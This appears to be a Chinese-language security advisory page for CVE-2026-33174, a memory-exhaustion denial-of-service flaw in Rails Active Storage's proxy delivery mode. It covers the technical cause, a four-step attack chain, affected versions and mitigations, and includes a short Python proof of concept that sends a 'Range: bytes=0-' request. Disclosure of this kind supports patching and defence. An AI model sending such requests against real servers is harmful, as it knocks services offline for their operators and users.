IPBUF安全漏洞报告
English
CVE-2026-33174 CVSS 7.5 高危

CVE-2026-33174 Rails Active Storage内存耗尽漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33174
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Ruby on Rails (Active Storage)

相关标签

DoS拒绝服务Ruby on RailsActive Storage内存耗尽CVE-2026-33174

漏洞概述

该漏洞存在于Ruby on Rails的Active Storage组件中。在代理投递模式下,处理带有大范围Range头的恶意请求时,系统会将全部文件加载至内存,导致内存耗尽引发拒绝服务攻击。

技术细节

Active Storage是Rails框架中用于处理文件上传和云存储集成的核心组件。在受影响的版本中,Active Storage的代理投递模式存在严重的资源管理缺陷。当服务器通过该模式处理HTTP GET请求时,如果请求中包含Range头部(用于分段下载),代理控制器会先将请求指定的整个字节范围完整地读入内存缓冲区,随后才发送给客户端。漏洞在于系统未对Range请求的范围大小进行限制。攻击者无需认证即可发送构造好的恶意请求,例如设置Range为“bytes=0-”以请求整个文件。如果服务器上存储了大文件,此举将瞬间消耗大量内存。通过高频发送此类请求,攻击者可轻易耗尽服务器内存资源,导致应用程序崩溃或系统无响应,从而实现拒绝服务攻击。

攻击链分析

STEP 1
1. 侦察目标
攻击者识别出目标网站使用的是存在漏洞的Ruby on Rails版本,并确认其使用了Active Storage的代理投递功能。
STEP 2
2. 构造恶意请求
攻击者构造一个HTTP GET请求,其中包含一个恶意的Range头部(如'Range: bytes=0-'),意指请求从0字节开始到文件结尾的所有数据。
STEP 3
3. 触发内存加载
服务器收到请求后,Active Storage代理控制器尝试将请求范围内的文件内容全部读入内存,而不是流式传输。
STEP 4
4. 耗尽资源
如果文件较大或攻击者并发发送多个请求,服务器内存将被迅速耗尽,导致服务不可用(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual endpoint) target_url = "http://example.com/rails/active_storage/disk/proxy/..." # Malicious Range header requesting the entire file to be loaded into memory headers = { "Range": "bytes=0-" } try: response = requests.get(target_url, headers=headers) print(f"Status Code: {response.status_code}") print("Attack sent. Monitor server memory usage.") except Exception as e: print(f"Error: {e}")

影响范围

Ruby on Rails < 7.2.3.1
Ruby on Rails < 8.0.4.1
Ruby on Rails < 8.1.2.1

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器层(如Nginx或Apache)配置请求头大小限制,或者在应用层禁用Active Storage的代理投递模式,改用直接重定向方式提供文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表